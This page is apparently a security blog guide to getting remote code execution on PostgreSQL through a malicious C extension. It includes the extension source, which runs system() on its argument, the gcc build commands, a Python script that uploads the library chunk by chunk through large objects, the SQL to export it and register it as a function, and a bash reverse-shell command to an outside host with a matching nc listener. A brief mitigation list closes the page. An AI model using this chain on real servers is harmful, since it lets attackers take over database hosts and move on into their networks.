On This Page
RCE with PostgreSQL Extensions
PostgreSQL allows loading custom C functions through shared libraries, which can be exploited for Remote Code Execution (RCE) if an attacker has sufficient privileges (e.g., SUPERUSER
or CREATE
privilege). This guide demonstrates how to compile a malicious extension, upload it via PostgreSQL's large object storage, and execute arbitrary commands on the underlying system.
Determine PostgreSQL Version
The first step is identifying the PostgreSQL version to ensure compatibility when compiling the shared library:
SELECT version();
Example output:
PostgreSQL 11.16 (Debian 11.16-1.pgdg90+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit
This confirms we're dealing with PostgreSQL 11.x, so we need to compile our exploit against the same major version.
Install PostgreSQL Development Tools
On your attacking machine, install the required PostgreSQL server development headers:
sudo apt install postgresql postgresql-server-dev-11
This provides the necessary header files (postgres.h
, fmgr.h
) for compiling C extensions.
Create the Exploit Library
Create a file named pg_exec.c
with the following content:
// pg_exec.c
#include "string.h"
#include "postgres.h"
#include "fmgr.h"
PG_MODULE_MAGIC;
PG_FUNCTION_INFO_V1(pg_exec);
Datum
pg_exec(PG_FUNCTION_ARGS)
{
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
This defines a PostgreSQL function that takes a string argument and executes it via system()
, returning the exit code.
Compile the Shared Library
Compile the code into a position-independent shared object:
gcc -I/usr/include/postgresql/11/server -shared -fPIC -o pg_exec.so pg_exec.c
Ensure the include path matches your system. You can find it using:
pg_config --includedir-server
Split Library for Upload via Large Objects
Since direct file writes may be restricted, use PostgreSQL's large object feature to upload the binary in chunks:
split -b 2048 pg_exec.so
This creates files named xa
, xb
, etc., each 2048 bytes in size.
Upload via Large Objects
First, create a Large Object Identifier (LOID) on the target:
SELECT lo_create(12345);
Then, generate SQL INSERT
statements to upload each chunk. Run this Python script on your local machine:
import subprocess
import os
import glob
def run_xxd_on_chunk(chunk_file):
if not os.path.exists(chunk_file):
print(f"File {chunk_file} does not exist.")
return None
command = ["xxd", "-ps", "-c", "99999999999", chunk_file]
try:
result = subprocess.run(command, capture_output=True, text=True, check=True)
return result.stdout.strip()
except subprocess.CalledProcessError as e:
print(f"Error occurred while running xxd: {e}")
print(f"stderr: {e.stderr}")
return None
def generate_insert_sql(loid, pageno, hex_chunk):
return f"INSERT INTO pg_largeobject (loid, pageno, data) VALUES ({loid}, {pageno}, decode('{hex_chunk}', 'hex'));"
chunk_files = sorted(glob.glob('xa*'))
loid = 12345 # Match your LOID
with open("output.sql", "w") as output_file:
for idx, chunk_file in enumerate(chunk_files):
hex_chunk = run_xxd_on_chunk(chunk_file)
if hex_chunk:
pageno = idx
sql_statement = generate_insert_sql(loid, pageno, hex_chunk)
output_file.write(sql_statement + "\n")
else:
print(f"Failed to process {chunk_file}.")
print("SQL statements saved to output.sql")
Ensure pg_exec.so
and the script are in the same directory. After running, copy the contents of output.sql
and execute them on the PostgreSQL server.
Export and Execute on Target
Once all chunks are uploaded, export the binary to the filesystem:
SELECT lo_export(12345, '/tmp/pg_exec.so');
Create a PostgreSQL function that links to the shared library:
CREATE FUNCTION sys(cstring) RETURNS int
AS '/tmp/pg_exec.so', 'pg_exec'
LANGUAGE C STRICT;
Finally, trigger a reverse shell:
SELECT sys('bash -c "bash -i >& /dev/tcp/attack2.dhound.io/4444 0>&1"');
nc -l -p 4444 -v
Impact
Successful exploitation results in:
- Full remote code execution on the database server.
- Access to the underlying operating system with the privileges of the PostgreSQL process (often
postgres
user). - Potential privilege escalation, lateral movement, and full network compromise.
Mitigation and Best Practices
Prevent exploitation:
- Never grant
SUPERUSER
orCREATE
privileges to untrusted users. - Disable the
postgres
superuser account in production. - Avoid running PostgreSQL with elevated OS privileges.
- Restrict use of
LANGUAGE C
for custom functions. - Monitor for suspicious large object creation and file exports.
- Keep PostgreSQL updated to the latest stable version.
Published on Aug 21, 2025